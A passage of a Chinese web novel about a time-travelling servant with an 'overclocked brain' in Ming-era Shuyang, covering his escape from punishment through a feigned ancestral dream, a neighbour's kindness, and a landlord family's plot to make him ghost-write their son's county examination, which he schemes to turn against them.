他先是连连磕头,把惶恐卑微的姿态做足。
张福显然不吃这套,
冷哼一声,三角眼眯得更紧:
“不敢?我耳朵还没聋!
你刚才是不是说什么‘不对’?
还说什《张侯论》没用什么篇?
你这贱奴,倒还懂起圣贤书来了?”
压力骤增!
周围空气都仿佛凝固了。
书房里的讲课声不知何时停了,
连蝉鸣似乎也识趣地闭了嘴,
只剩下张福冰冷的质问在院子里回荡。
苏惟瑾心念电转,知道关键时刻来了。
他猛地抬起头,
眼泪恰到好处地滚落下来(超频大脑:刺激泪腺成功!),
声音里带上了哭腔,
却故意拔高了一点,
确保书房里的人也能隐约听见:
“管家老爷息怒!
小人…小人刚才是一时糊涂,
想起了昨夜做的梦,
这才…这才鬼迷心窍,
胡言乱语了啊!”
他哭得情真意切,肩膀一抽一抽。
“做梦?”
张福一愣,这答案完全出乎他的意料,
脸上的厉色稍缓,
取而代之的是浓浓的疑惑和荒谬感。
“你做个梦就能编排起学问来了?
做的什么春秋大梦!”
苏惟瑾等的就是这一问!
他立刻顺着杆子往上爬,
用袖子胡乱抹了把脸,
努力做出又害怕又怀念又有点神神道道的复杂表情,抽噎着说:
“回…回管家老爷…
小人昨夜梦到了去世多年的爷爷了…
他老人家在梦里,
穿着干干净净的长衫,
不像生前那么穷苦了…
他就拉着小人,手里拿着本书,
好像…好像就是《论语》…
他老人家就说…”
苏惟瑾模仿着老人沙哑的腔调,
将刚才纠正钱秀才的话,
稍微变了变句式,重复了一遍,
“…说《张侯论》是依着《鲁论》二十篇定的,
没加别的…那《齐论》里多的两篇,
早就没了…还让小人要记住…”
他一边说,一边偷偷观察张福的反应。
只见张福脸上的怒容渐渐被惊疑不定取代,眉头紧紧皱起。
托梦?
这说法在迷信的古代社会极具杀伤力,
尤其是涉及逝去的亲人,
更是平添几分神秘和不可质疑的色彩。
苏惟瑾趁热打铁,继续加码,哭得更加“情真意切”:
“小人刚才在窗外,
听得先生讲到《论语》传本,
不知怎的,就想起了爷爷梦里的教诲…
一时恍惚,还以为是在梦里…
才…才脱口而出…小人知错了!
小人再也不敢了!求管家老爷饶命啊!”
他一边说一边砰砰磕头,
额头上很快就见了红印,
显得无比凄惨可怜又“孝心可嘉”。
这一番唱作俱佳的表演,信息量巨大:
知识来源(逝去爷爷托梦,死无对证)、
动机(思念亲人,孝心驱动)、
性质(无心之失,并非有意挑衅),
全都圆上了!
还把一件“僭越犯上”的大事,
巧妙扭曲成了一出“感天动地孝子思亲”的苦情戏码!
张福彻底被唬住了。
他盯着跪在地上磕头如捣蒜的苏惟瑾,脸色变幻不定。
他本能地觉得这事有点邪性,
哪里不对劲。
一个做梦的奴才,
能说出连钱秀才都可能讲错的东西?
但“托梦”之说又太过玄乎,
尤其涉及祖宗先人,
在这年头宁可信其有不可信其无。
再者,这小子表现得如此恐惧懊悔,
磕头都见血了,
也不像是装出来的(超频大脑控制下的演技,堪比影帝)。
若是严惩,万一真有点什么祖宗显灵的事儿,
自己岂不是要沾上晦气?
而且传出去,说他张福连下人思念祖父都要重罚,名声也不好听。
书房的门“吱呀”一声开了一条缝,
钱秀才好奇地探出半个头,
张诚也睡眼惺忪地凑过来看热闹。
张福瞥了一眼,心下迅速权衡利弊。
为了这么点摸不着头脑的事,
深究下去,于己无益。
多一事不如少一事。
想到这里,他脸上的厉色终于收敛,
化作一脸嫌恶和不耐烦,
仿佛沾了什么脏东西似的,
挥挥手斥骂道:
“滚起来!哭哭啼啼成何体统!
念在你是一片孝心,又是无心之失,
这次便饶了你!”
他顿了顿,加重语气警告道:
“但以后给老子把嘴巴闭紧!
第14章 邻家芸娘,雪中送炭温情
侥幸从张福的三角眼下溜走,代价便是饿饭。
张管家轻飘飘一句“不长记性就饿几顿”,
苏惟瑾当晚的伙食便没了着落。
厨房那边得了吩咐,连口刷锅水都没给他留。
夜深人静,寒风顺着破旧窗棂的缝隙往里钻,
发出呜呜的声响。
苏惟瑾蜷缩在冰冷的硬板床上,
肚里饿得火烧火燎,
身上冻得瑟瑟发抖。
超频大脑在这种极端状态下也显得有些萎靡,
运转起来带着一种滞涩的痛感,
不断提醒着他能量严重不足。
白日里应对张福的急智和表演,
耗费了他大量心神,
此刻松懈下来,只剩下无尽的疲惫和寒冷。
他望着窗外那轮被薄云遮住的冷月,
第一次如此清晰地感受到这个世界的恶意和自身的渺小。
任你满腹经纶,超频大脑,
一顿饿饭,就能把你打回原形,
变成一条只能蜷缩起来抵御寒冷的可怜虫。
就在他意识都有些模糊,
几乎要沉入饥寒交迫带来的昏睡中时,
窗外似乎传来一点极其细微的响动。
像是小石子落地的声音。
苏惟瑾一个激灵,超频大脑强行拉回一丝清明。
贼?还是张福又派人来查探?
他屏住呼吸,悄无声息地坐起身,
目光锐利地投向那扇吱呀作响的破木窗。
然而,窗外响起的,却是一道极轻、极细,
带着几分怯生生意味的女声,
好似夜风里飘来的一缕微弱花香。
“小…小九哥?小九哥你睡了吗?”
是个女孩的声音?
苏惟瑾一愣,记忆库里迅速检索。
这声音…似乎是隔壁书铺陈家的小姑娘,
陈婶的那个女儿,好像叫…芸娘?
他小心翼翼地下床,蹑手蹑脚走到窗边,
压低声音问道:“谁?”
窗外沉默了一下,
似乎被他的突然回应吓了一跳,
随后那细弱的声音又响起来,
带着点如释重负:“是…是我,芸娘。”
果然是她。
苏惟瑾稍稍放松了警惕,
但依旧疑惑。
这深更半夜的,她来做什么?
他轻轻推开一条窗缝。
清冷的月光透过缝隙,洒在窗外少女的身上。
她约莫十三四岁年纪,
身形瘦小,穿着洗得发白的碎花棉袄,
梳着两个简单的丫髻,
小脸冻得通红,
眉眼却十分清秀温婉,
此刻正紧张地攥着衣角,
一双大眼睛在月光下显得格外明亮,
像受惊的小鹿。
看到苏惟瑾露脸,她明显松了口气,
又有些害羞地低下头,
飞快地将手里一个用布包着的东西从窗缝里塞了进来,
声音细若蚊呐:
“小九哥,我娘…我娘让我给你的。
还热着,你快趁热吃。”
入手是一团温热,隔着粗布都能感受到那暖意。
一股混合着麦香和某种野菜清香的熟悉气味钻入鼻腔,
瞬间激活了苏惟瑾饥饿的肠胃,发出不争气的咕噜声。
是饼!杂粮饼!
还不等他反应过来,
芸娘又费力地从窗外递进来一团略显臃肿的东西,
是件半旧的深蓝色棉袄,
虽然打着补丁,但洗得很干净。
“这个…这个也是我娘让拿给你的。
夜里冷,你…你披着,别冻着了。”
她的声音依旧很轻,
带着显而易见的紧张,
说完就又想低下头,
似乎完成了一件多么了不起又羞人的大事。
苏惟瑾愣住了。
他看着手里热乎乎的饼,
又看看那件叠得整整齐齐的旧棉袄,
一股难以言喻的复杂情绪猛地冲上心头,
堵得他喉咙发紧。
白日里面对张福的刁难恐吓都平静无波的心湖,
此刻却被这突如其来的、
微不足道的温暖,搅得波澜骤起。
是陈婶。
那个总是偷偷塞给他干粮的厨娘陈婶。
她知道了自己受罚饿饭,还挨了冻,
于是冒着风险,让女儿深夜偷偷送来这些…
“陈婶她…”
苏惟瑾的声音有些沙哑。
“娘说管家看得紧,
她不好过来,让你别声张…”
芸娘小声补充道,
悄悄抬眼看了他一下,
又飞快地垂下。
“小九哥,你快吃吧,
我…我得回去了,娘说不能久留。”
她说着,就要转身离开,
那瘦小的身影在寒夜里显得格外单薄。
“等等!”
苏惟瑾脱口而出。
芸娘停下脚步,疑惑地回头看他。
苏惟瑾深吸一口气,
压下胸腔里翻涌的情绪,
看着月光下少女清澈的眼眸,
无比郑重地、一字一句地说道:
“芸娘,替我谢谢陈婶。
还有…谢谢你。”
他的目光太过认真,
语气太过诚挚,让芸娘的小脸更红了,
手足无措地点点头:
“嗯…嗯…小九哥你…你快吃吧…”
说完,像是怕再多待一刻就会晕过去似的,
转身小跑着消失在墙角的阴影里,
那边似乎有个矮凳,她是踩着那个翻过矮墙来的。
苏惟瑾站在窗前,握着那块犹自温热的饼,久久没有动弹。
寒风依旧在吹,
但似乎没那么刺骨了。
胸口的冰冷被一股暖流缓缓驱散。
他低头,慢慢打开那块粗布。
里面是一个烤得微微焦黄的杂粮饼,
混合着麸皮和野菜的颗粒,
甚至还能看到几点珍贵的油星。
对于张诚来说,
这怕是连狗都不吃的东西,
但在此刻的苏惟瑾眼里,
却胜过任何山珍海味。
他小心翼翼地咬了一口。
饼有些粗糙,刮过喉咙,
但那份实实在在的粮食的香甜和温暖,
却瞬间充盈了口腔,顺着食道滑下,
温暖了几乎冻僵的肠胃。
一种活过来的踏实感,缓缓蔓延至四肢百骸。
几口饼下肚,身上有了些热气。
他拿起那件旧棉袄,披在身上。
第15章 芸娘蹙眉账难清,惟瑾暗施统计法
时隔两日,张家院内的低气压稍散。
苏惟瑾瞅准空档,
将芸娘送饼和棉袄时用的那块粗布仔细浆洗晾干,
叠得方方正正,连同刷洗干净的半旧竹篮,
打算亲自前往墨香斋归还,并郑重道谢。
墨香斋坐落于张府侧后街角,
门脸不大,一块饱经风霜的木匾上。
“墨香斋”三字已有些模糊。
推门而入,熟悉的旧纸与墨锭混合的馨香扑面而来。
店内光线昏黄,四壁顶天立地的书架堆满线装古籍,
地上散落着待修补的旧书,
虽显拥挤杂乱,却自有一番沉淀岁月的静谧。
然而,今日这份静谧被彻底打破。
柜台后,并非那位病弱温和的陈老板,而是芸娘。
她正对着一本摊开的厚厚账册,
手指僵硬地拨弄算盘,眉头紧锁,
鼻尖泛红,连有人进店都未察觉。
更刺耳的,是一个尖酸刻薄的声音在一旁响起:
“啧!我说芸娘,你这手指头是借来的?
拨弄半天,算盘珠子都快让你掰断了!
就这么点流水账,算了三遍还对不上?
陈叔真是老糊涂了,把这铺子交给你个女子打理,
怕是祖上这点基业都要败光咯!”
说话的是个穿着灰色短打的干瘦男子,
二十出头,嘴角下撇,眼神油滑,
正是店里的伙计李二。
他斜倚在书架旁,故意将几枚铜钱抛得叮当响,
语气充满了毫不掩饰的轻蔑和幸灾乐祸。
芸娘被他呛得身子一颤,眼圈瞬间红了,
却强忍着泪水,低声道:
“李二哥,我……我再算一次,
定是哪里出错了……”
“出错?我看是你压根就没这脑子!”
李二声音陡然拔高,
恨不得让满街的人都听见,
“女子无才便是德!
好好在家绣花持家不行吗?
非跑来铺子里丢人现眼!
这账面要是平不了,
把你爹气出个好歹,
我看你后悔都来不及!”
这话恶毒至极,芸娘脸色煞白,
握笔的手指因用力而骨节发白,
泪水在眼眶里打转,
却倔强地不肯落下。
店内还有两位熟客老者,
见状无奈摇头,低声叹息,
显然在李二连日来的宣扬下,
对芸娘的“无能”已有了先入为主的印象。
苏惟瑾冷眼旁观,心中了然。
这李二,演技拙劣,其心可诛
——无非是想制造芸娘不善经营的假象,
趁机揽权,甚至中饱私囊。
他缓步上前,无视李二,
轻声唤道:“芸娘。”
“啊!”
芸娘惊得抬头,见是苏惟瑾,
如同溺水之人抓到浮木,
却又因自身窘境而倍感难堪。
“小九哥……你,你怎么来了?”
李二被打断,十分不悦,
斜眼打量着苏惟瑾一身下人打扮,嗤笑道:
“哟嗬!我当是哪位贵客,
原来是张府的书童大人。
怎么,不在高门大户里端茶递水,
跑我们这小庙来指点江山了?
这儿可没你的差事!”
苏惟瑾连眼风都未扫向他,
径直将篮子和布递给芸娘,
语气温和却坚定:
“芸娘,前日雪中送炭之恩,
苏某铭记于心。
特来归还物件,并致谢意。”
他刻意用了“苏某”自称,
无形中抬了抬气场。
芸娘接过,低声道:
“小九哥太客气了。”
她心乱如麻,账目的压力和李二的刁难让她几近崩溃。
李二见自己被彻底无视,
顿觉脸上无光,阴阳怪气地拔高音量:
“还东西?怕是醉翁之意不在酒吧!
芸娘,你可擦亮眼睛,
别被些不相干的人几句好话就哄了去!
咱们书铺虽小,门槛也不是什么阿猫阿狗都能迈的!”
言辞恶毒,意在羞辱苏惟瑾,并离间两人。
苏惟瑾这才淡淡瞥了李二一眼,
目光平静无波,却似寒潭深水,
让李二没来由地心底一寒。
但李二旋即强自镇定,
嗤笑一声,料定一个书童翻不起浪。
苏惟瑾不再理会这跳梁小丑,
转向芸娘,目光落在账册上:
“芸娘,可是账目上遇到了难处?
若信得过,或可一说。”
芸娘尚未开口,李二抢先尖声打断:
“笑话!天大的笑话!
你一个伺候人的书童,
还能看懂账本?
张府的账房先生莫非还教你算学不成?
芸娘,你可别病急乱投医,
让个不识数的人瞎搅和,
到时候窟窿越捅越大,
看你怎么收场!”
他极力贬低,既是报复,更是心虚阻挠。
芸娘被李二说得犹豫起来,
看向苏惟瑾的目光添了几分迟疑。
书童看账,确属闻所未闻。
苏惟瑾却不慌不忙,
对芸娘温言道:
“在书房走动,耳濡目染,
倒也见过些账目往来。
或许,能提供些许不同的思路。
总好过某些人,只知在一旁聒噪,
徒乱人心。”
语带双关,锋芒隐现。
李二被噎得面色一僵。
芸娘看着苏惟瑾清澈而笃定的眼神,
再对比李二的丑恶嘴脸,
把心一横:
“那……那小九哥,
劳你费心看一眼?”
她已是山穷水尽。
“芸娘!你糊涂啊!”
李二还想阻拦。
苏惟瑾已径直走到柜台后,
拿起那本杂乱无章的流水账册。
李二在一旁抱臂冷笑,
准备看这书童如何出丑。
两位老顾客也好奇地凑近了几分。
账册记录毫无条理,日期、书目、数量、金额混杂。
但在苏惟瑾眼中,超频大脑已全力启动:
视觉捕捉,信息如潮水般涌入,
瞬间分类、排序、交叉验证……
杂乱的数据被迅速梳理得条理分明。
十息不到,苏惟瑾心中已如明镜。
第16章 县试将近,张诚欲舞弊
日子像沭阳河里的水,看似平静,
底下却藏着旋涡,
推着人不由自主地往前赶。
春风才刚吹绿了柳梢,
县试的布告就赫然贴在了县衙门口的告示墙上,
白纸黑字,敲定了考期就在一个月后。
这下子,沭阳县里但凡家里有个读书种子的,
都像是被抽了一鞭子的陀螺,
急速旋转起来。
书铺的生意肉眼可见地红火,
墨锭和宣纸的价格也悄摸地往上窜了几分。
茶馆酒肆里,谈论四书五经的声音也压过了往日里的家长里短。
这股科考的热风,
自然也刮进了高墙耸立的张府。
只不过,带来的不是寒窗苦读的紧迫感,
而是鸡飞狗跳的恐慌。
我们的张大少爷张诚,彻底慌了神。
书房里,钱秀才捧着《论语》,
慢吞吞地讲着“温故而知新”。
张诚却像屁股底下长了钉子,
左扭右晃,一个字也听不进去。
他脑子里反复盘算的不是“学而时习之”,
而是“他娘的县试怎么过”。
一想到要跟那些穷酸书生一起挤在号舍里,
对着考题抓耳挠腮,
最后交上去一张可能满是墨疙瘩的白卷,
他就觉得眼前发黑,前途无亮。
让他读书?不如让他去死!
“不行!绝对不行!”
张诚猛地一拍桌子,
把摇头晃脑的钱秀才和旁边打瞌睡的小厮都吓了一跳。
“少…少爷?”
钱秀才手里的书差点掉地上,
山羊胡子一颤一颤。
张诚根本没理他,肥硕的身子腾地站起来,
像一头焦躁的困兽在书房里来回踱步,
嘴里念念有词:
“不能让老子丢这个人!
绝对不能!
得想个法子…必须想个法子!”
他猛地站定,小眼睛里闪过一丝混浊的光,
像是抓住了救命稻草:
“对!找我爹!我爹一定有办法!”
说完,他也不管目瞪口呆的钱秀才,
蹬蹬蹬就冲出了书房,
直奔他爹张承宗的书房而去。
张承宗的书房可比张诚那个像戏台子的书房气派多了。
紫檀木的大书案,
博古架上摆着些真假难辨的古董,
空气里弥漫着昂贵的熏香味道。
此刻,张承宗正和管家张福低声商议着什么,脸色凝重。
显然,县试这事儿,
当爹的比儿子更上心,也更头疼。
“爹!爹!你得救我!”
张诚门都没敲就撞了进去,
哭丧着脸,声音带着嚎腔。
“县试!我肯定考不过啊!
到时候丢的可是咱们张家的脸面!”
张承宗被吓了一跳,见是宝贝儿子,
眉头皱得更紧了,呵斥道:
“慌什么!成何体统!”
但语气里并无多少真正的怒意,更多的是无奈。
张福在一旁垂手而立,
三角眼里闪烁着精明的光,
适时地开口:
“老爷,少爷的担忧也不无道理。
县试虽只是初试,但关乎功名起点,
若是…若是成绩太差,
确实于府上声名有碍。”
“那你们说怎么办?!”
张诚急吼吼地嚷道:
“让我去考,那就是肉包子打狗,有去无回!”
张承宗沉吟片刻,
眼中掠过一丝狠色和决断。
他走到门口,左右看了看,
确认无人,然后紧紧关上房门,
压低了声音对张诚和张福道:
“为今之计,唯有行险一搏了。”
他看向张福:“打点考官那边,进行得如何了?”
张福微微躬身,声音压得极低:
“回老爷,县尊大人那边口风紧,
暂时探不出深浅。
但下面的礼房书吏和几位可能参与弥封、誊录的先生,
已经初步打点过了,问题应当不大。
只要少爷卷面上不是太过…
太过难看,总能周转一二。”
张承宗点点头,这在意料之中。
知县大人位高权重,
又是京里下来的,
轻易不会为这点钱财冒风险。
但只要下面具体办事的人打点到位,
操作空间还是有的。
“光是下面的人打点还不够!”
张诚急道。
“我写不出来!
就算誊录的人把我写的鬼画符誊得再漂亮,
那也得有东西可誊啊!”
“所以,关键还在少爷您自个儿得能写出点东西来。”
张福接口道,三角眼眯了眯,
闪过一丝诡光。
“至少,墨卷得填满,格式不能错,
还得有点似是而非的句子撑撑门面。”
“我上哪儿去找那些句子?!”
张诚都快哭了。
张承宗和张福交换了一个眼神。
张福上前一步,声音更低了,
带着一种阴恻恻的味道:
“老爷,少爷,老奴倒有个想法。
那个书童苏小九,记性极好,
人也还算机灵,虽然字写得丑,
但认字多,背下的东西也不少…若是让他…”
张诚的小眼睛猛地亮了,
像是黑夜里的耗子看到了油灯:
“对啊!那个狗奴才!
让他给我想办法!
考试的时候,让他想办法给我递小抄!
或者…或者提前告诉他题目,
让他给我做好文章,我背下来!”
越想越觉得此计甚妙!
张诚兴奋得脸上的肥肉都在抖动:
“就这么办!爹!
就让苏小九给我当枪手!
他要是办好了,爷赏他口饭吃!
办不好,老子扒了他的皮!”
张承宗抚着胡须,沉吟了片刻。
让一个书童掺和科场作弊,风险极大。
但眼下似乎也没有更好的办法。
那苏小九看起来胆小怕事,
又是家奴,身契捏在手里,
量他也不敢出去乱说。
只要操作得当…
“此事须得绝对机密!”
张承宗最终下了决心,
眼中寒光一闪。
“福管家,具体如何操作,
第17章 将计就计,布局谋出路
张诚那肥硕的背影消失在月亮门后,
苏惟瑾脸上那副“感恩戴德”、
“惶恐忠仆”的面具瞬间剥落,
取而代之的是一种极致的冷静,
眸底深处仿佛有冰冷的数据流在高速奔腾。
超频大脑,全力运转!
拒绝?
立刻就会被打个半死,
甚至“病故”消失。
张家的手段,他毫不怀疑。
告发?证据呢?
空口白牙指控主家少爷科场舞弊?
死得更快更惨,还会被打上背主忘恩的烙印。
唯有顺从,将计就计,方能于死局中劈开一条生路!
但如何利用?如何反客为主?
刹那间,关于明代科举制度的浩瀚知识从记忆库深处汹涌而出,
条分缕析,与他眼下的处境快速匹配、推演。
童试!县试、府试、院试三级,
过关即为秀才,功名的起点!
拥有了秀才功名,
就脱离了平民阶层,
见官不跪,免役免赋,
拥有了初步的话语权和保护伞!
这才是他真正的目标!
而参加科举,首要便是“具保”!
需要廪生出具保结,
证明考生身家清白、无冒籍匿丧等情。
他一个无根无萍、身契捏在张家手里的书童,
谁肯为他作保?这几乎是条绝路。
但现在,张家父子亲手把一条“捷径”塞到了他手里!
让他们帮忙“作弊”,
实则是让他们为自己铺平通往考场的路!
张承宗既然能打点考官书吏,
自然也能解决“苏小九”这个枪手的参考资格和具保问题!
一个极其大胆、甚至堪称疯狂的计划,
在超频大脑的疯狂推演下,迅速勾勒出雏形。
核心要点:一、积极配合,获取信任。
必须让张家父子坚信自己是一条绳上的蚂蚱,
心甘情愿为他解决参考资格问题。
二、“出色”完成任务。
作为枪手,交出的“答案”必须足够好,
好到能让张诚这种草包都能“蒙混过关”,
这样才能体现自己的价值,
也让张家的打点物有所值。
三、留下致命后手。
在“答案”中埋下只有自己才能识破的、极其隐蔽的破绽或标记。
一旦需要,这便是引爆的雷管。
四、巧妙引爆,金蝉脱壳。
必须在最关键时刻,
让张诚的作弊行为以某种方式暴露,
但必须确保自身绝对安全,
甚至要将自己塑造成“被胁迫”、
“无辜受累”或“关键时刻坚守道义”的形象。
五、趁乱崛起,李代桃僵。
作弊案发,张诚必然完蛋。
而自己这个“被迫作弊又迷途知返”的“天才枪手”,
或许反而能因“才华出众”(交出的答案水平极高)
或因“举报有功”(若操作得当)而获得某种豁免,
甚至可能因祸得福,
让自己的才学得到官方认可,
从而获得参加后续考试的资格!
风险极高!
每一步都如履薄冰!
任何一个环节出错,便是万劫不复!
但收益也极大!
一旦成功,便能一举摆脱奴籍(至少是暂时脱离张家掌控),
踏上科举正途,海阔天空!
赌了!
苏惟瑾眼底闪过一丝锐利如刀的光芒。
穿越以来的隐忍、筹谋,所学的一切,
不就是为了这样一个机会吗?
如今机会以这种荒谬的方式送到面前,
岂有不敢接之理?
他深吸一口气,压下因兴奋和紧张而微微颤抖的手指。
大脑继续细化方案。
如何留下后手?
用词?用典?句式结构?
必须是一种在这个时代极其冷僻,
但后世考证或特定知识体系下才能发现的“错误”或“特征”。
超频大脑飞速检索比对…
如何引爆?考场内举报?
太蠢,同归于尽。
考后由他人发现?
需要契机。
或许…可以利用张诚自身的愚蠢和嚣张?
或者,利用被打点的考官之间的派系矛盾?
如何摘出自己?
必须表现出是被胁迫的无奈…
平时就要注意积累“证据”,
比如张诚威胁他的话语,
最好能有第三方“无意”听到…
关键时刻的“反水”要显得顺理成章,
是被逼无奈下的良知发现…
无数念头、无数可能性、无数细节在脑中碰撞、整合、优化…
一个庞大而精细的阴谋网络缓缓织就,目标是反噬它的布置者!
接下来的几天,
苏惟瑾表现得愈发“恭顺”和“卖力”。
张诚但凡来“布置任务”,
他都听得无比认真,
还会“适时”地提出一些“技术性难题”。
“少爷,小的虽认得几个字,
但文章制艺,实在…实在艰深,
若无人指点,只怕写出来的东西不合规矩,
反而误了少爷大事…”
他表现得忧心忡忡,
完全是一心为主考量的忠仆模样。
张诚一想也是,便大手一挥,
让钱秀才“抽空指点一下苏小九怎么写八股”。
钱秀才虽不明所以,但少爷发话,
只得捏着鼻子,每天抽一刻钟,
给苏惟瑾讲些破题、承题、起讲、入题的最基本格式。
这对苏惟瑾而言足够了。
超频大脑瞬间吸收理解,
并结合记忆库中海量的范文和评论,
快速掌握了这个时代八股文的表面精髓
——那种刻板又极重形式的框架。
他甚至在帮张诚“预习”可能考题(实则是他自己推测的重点)时,
“无意”中展现出的惊人“悟性”和“记忆力”,
写出几个漂亮却花团锦簇、
实则空洞无物的破题句子,
喜得张诚连连拍他肩膀,
直呼“捡到宝了”!
张承宗和张福通过张诚的转述和暗中观察,
见苏小九如此“上道”且“有用”,
心下也稍安,开始真正动用资源去打点苏惟瑾的参考资格。
正如苏惟瑾所料,对张家而言,
给一个家奴弄个临时身份和保结,
虽然麻烦,但并非做不到。
一切,都在顺着苏惟瑾规划的方向,悄然推进。
夜深人静,苏惟瑾依旧就着偷藏的灯油练字。
他的字依旧算不上好,
但笔画间已隐隐多了一份沉毅决绝的力道。
他偶尔会停下笔,看着窗外沉沉的夜色,
嘴角弯起一丝冰冷的弧度。
张诚,张承宗…你们想把我当枪使?
第18章 智取保书,七叔公初现身
张家父子的动作比苏惟瑾预想的还要快些。
不过几日功夫,
张福便皮笑肉不笑地通知他,
参考县试的“身份”问题已基本打点妥当,
只等最后走个过场,
让他“安心为少爷办事”。
苏惟瑾面上感恩戴德,
心下却冷笑更甚。
打点妥当?
无非是捏造个户籍,
再找个贪财的廪生画押具保。
这等保结,如同沙上筑塔,
张家事发,顷刻便倒。
自己若真想借此脱身,
必须有一条真正属于自己的、牢固的退路。
超频大脑飞速检索着原主残留的记忆碎片和这些时日收集的零散信息。
苏家…沭阳西街的苏家…
虽已败落,人丁凋零,但似乎还有一位…
“七叔公苏正廉…”
一个名字伴随着一段模糊的印象浮出脑海。
原主父亲出殡时,
这位远房叔公曾来过,
穿着洗得发白的青衫,
面容古板严肃,对着潦草的棺木摇头叹息,
似乎对原主父亲“败光家业、
辱没门风”很是不满,
但也塞给了当时浑浑噩噩的原主几个铜板,
说了句“苏家儿郎,纵使落魄,也需挺直脊梁”。
一个极度重视家族声誉、
性格刚直迂腐的老童生!
一辈子没考取功名,
却最看重读书人的气节和苏家那早已不复存在的“荣光”!
就是他!
目标锁定,苏惟瑾开始耐心等待时机。
这日,张诚又一如既往地寻了个由头,
打发他出去买新的宣纸和湖笔,
实则让他再去打听打听县试的风声和主考官的喜好。
苏惟瑾恭顺应下,揣着几钱银子,快步出了张府。
他没有立刻去纸铺,
而是脚步一拐,穿街过巷,
朝着记忆中西街的方向走去。
越往西走,街道越发狭窄,
房屋也愈发低矮破旧,
与张府所在的东城繁华截然不同。
空气里弥漫着贫瘠生活的气息,
但偶尔也能听到几声孩童诵读《三字经》的稚嫩声音,
为这破败的街巷增添了几分顽强的生气。
循着模糊的记忆,他停在了一扇斑驳的木门前。
门楣低矮,却擦拭得干干净净,
两旁贴着笔力虽弱却极为工整的对联:
“守拙一园静,读书万卷深”。
这便是七叔公苏正廉的住处了。
苏惟瑾整理了一下身上半新不旧的张家仆役青衣,
深吸一口气,
脸上迅速酝酿出几分恰到好处的焦急、
惶恐与一丝不易察觉的委屈,
抬手叩响了门环。
“谁呀?”
院内传来一个苍老却中气十足的声音。
“七叔公,是我,小九…啊。”
苏惟瑾的声音放得又轻又低,带着点颤音。
木门“吱呀”一声打开,
露出苏正廉清癯严肃的面容。
他年近六十,头发梳得一丝不苟,
用一根木簪固定,
身上的青衫依旧洗得发白,
却不见一个褶子。
看到门外是苏惟瑾,
他花白的眉头立刻皱了起来,
眼神里带着审视和一丝不易察觉的复杂情绪
(大约是恨铁不成钢又带点怜悯)。
“是你?不在张家好好当差,
跑来我这里作甚?”
语气硬邦邦的,透着疏远。
苏惟瑾迅速低下头,
双手紧张地绞着衣角,
一副欲言又止、难以启齿的模样,
嘴唇嗫嚅了几下,才小声道:
“七…七叔公,我…我可能惹上大麻烦了…”
“麻烦?”
苏正廉的眉头皱得更紧。
“你能惹什么麻烦?
可是在张家手脚不干净?”
在他看来,这败光家业的侄孙,
能去张家为奴已是造化,
还能惹出什么祸事。
“不…不是的…”
苏惟瑾猛地抬头,
眼圈竟微微泛红(超频大脑精准调控面部毛细血管和泪腺),
“是…是张家…张家少爷,
他…他马上就要县试了…”
“县试便县试,与你何干?”
苏正廉不解,但听到“县试”二字,
神情还是不自觉郑重了些。
他一生未能越过这道坎,
对此有着近乎神圣的执念。
“他…他书读得不好,怕考不过…”
苏惟瑾的声音压得更低,
像是怕被什么人听去,
还下意识地回头看了看空荡荡的巷子。
“张老爷和管家…就…
就想了个法子,逼我…逼我到时候帮他…”
“帮你?你能帮什么?”
苏正廉一时没反应过来。
“就是…就是让我偷偷替他写文章,
或者…或者把小抄递给他…”
苏惟瑾仿佛用尽了全身力气才把这句话说出来,
说完立刻又低下头,
肩膀微微发抖,像是害怕至极。
“我不肯…他们就打我,
还说不干就…就要我的命…
说我爹欠的债还没还清…”
他恰到好处地停顿了一下,
让恐惧和“被逼无奈”的情绪充分渲染,
然后才猛地抬起头,
眼神里充满了“少年人”特有的惊慌和对家族声誉的本能担忧,
声音带着哭腔:
“七叔公!我…我害怕!
万一…万一这事儿要是漏了出去,
被学政大人查出来…
那可是科场舞弊,天大的罪过啊!
到时候…到时候别人会怎么说我们苏家?
肯定会说‘瞧那苏家,
出了给人当枪手作弊的下贱胚子!
祖上的脸都丢尽了!’
我们苏家军最后这点脸面,可就…可就真的半点不剩了啊!”
“苏家军”三个字,他咬得格外重。
果然,这句话像是一根烧红的针,
狠狠扎进了苏正廉最敏感、最痛处!
老童生那张古板的脸瞬间涨得通红,
眼睛猛地瞪圆,花白的胡子气得直抖!
他一生潦倒,
唯独将“苏家声誉”和“读书人气节”看得比性命还重!
岂容他人玷污,更何况是这种科场舞弊的丑事!
“混账!混账东西!”
第19章 考场之外,初遇傲才子
县试之日,天还未亮透,
沭阳县衙旁的考棚外已是人声鼎沸。
青石板铺就的广场上,
黑压压地挤满了人,
如同煮开的饺子锅,
翻滚着各式各样的情绪
——有志在必得的昂扬,
有临阵磨枪的焦虑,
有家人师长的殷切叮嘱,
也有看热闹的闲汉的嬉笑议论。
空气里混杂着晨露的湿气、墨锭的清香、汗液的酸味,
以及一种无形却压得人喘不过气的紧张感。
这就是大明科举最底层的起点,
万千读书人挤破头想要迈过的第一道门槛。
苏惟瑾穿着一身浆洗得略显发白的青色仆役短褂,
低眉顺眼地跟在张诚身后,
犹如其他许多富家子弟带来的书童小厮一样,毫不起眼。
张诚今日倒是人模狗样地穿了身崭新的宝蓝色绸缎直裰,
头戴方巾,可惜肚腩太过突出,
将好好一件文士衫撑得紧绷绷,
活像个移动的绸缎包子。
他脸上混杂着宿醉未醒的惺忪和硬撑出来的倨傲,
小眼睛却不时闪过一丝心虚和慌乱,
不停地搓着肥厚的手掌。
苏惟瑾的超频大脑却如同最精密的仪器,
冷静地扫描、记录、分析着周围的一切。
考生的年龄分布、衣着材质、交谈内容、神态表情…
甚至维护秩序的衙役站位、
考棚入口的检查流程,
都被他瞬间捕捉并归档。
他在为那个“计划”做最后的信息储备。
目光扫过人群,他看到了一些熟悉的面孔。
角落里,几个穿着打补丁长衫的寒门学子正抓紧最后时间低声诵念,
面色紧张而虔诚。
他还看到了墨香斋陈老板的女儿芸娘,
她正搀扶着病弱的父亲站在稍远些的地方,
陈老板似乎在对一个穿着朴素的年轻学子低声嘱咐着什么,
那学子频频点头,神色恭敬。
芸娘偶尔担忧地望一眼喧闹的考场方向,
目光掠过人群时,
似乎与苏惟瑾的视线有瞬间的交汇,
她微微一愣,随即飞快地低下头去,
耳根泛红。
苏惟瑾不动声色地移开目光。
就在这时,前方一阵骚动,
人群如同潮水般向两侧分开些许。
只见几个衣着光鲜、意气风发的年轻学子,
在一众仆役和奉承者的簇拥下,
谈笑风生地走来。
为首一人,约莫十七八岁年纪,
面容白皙,眉眼间带着一股掩不住的矜骄之气,
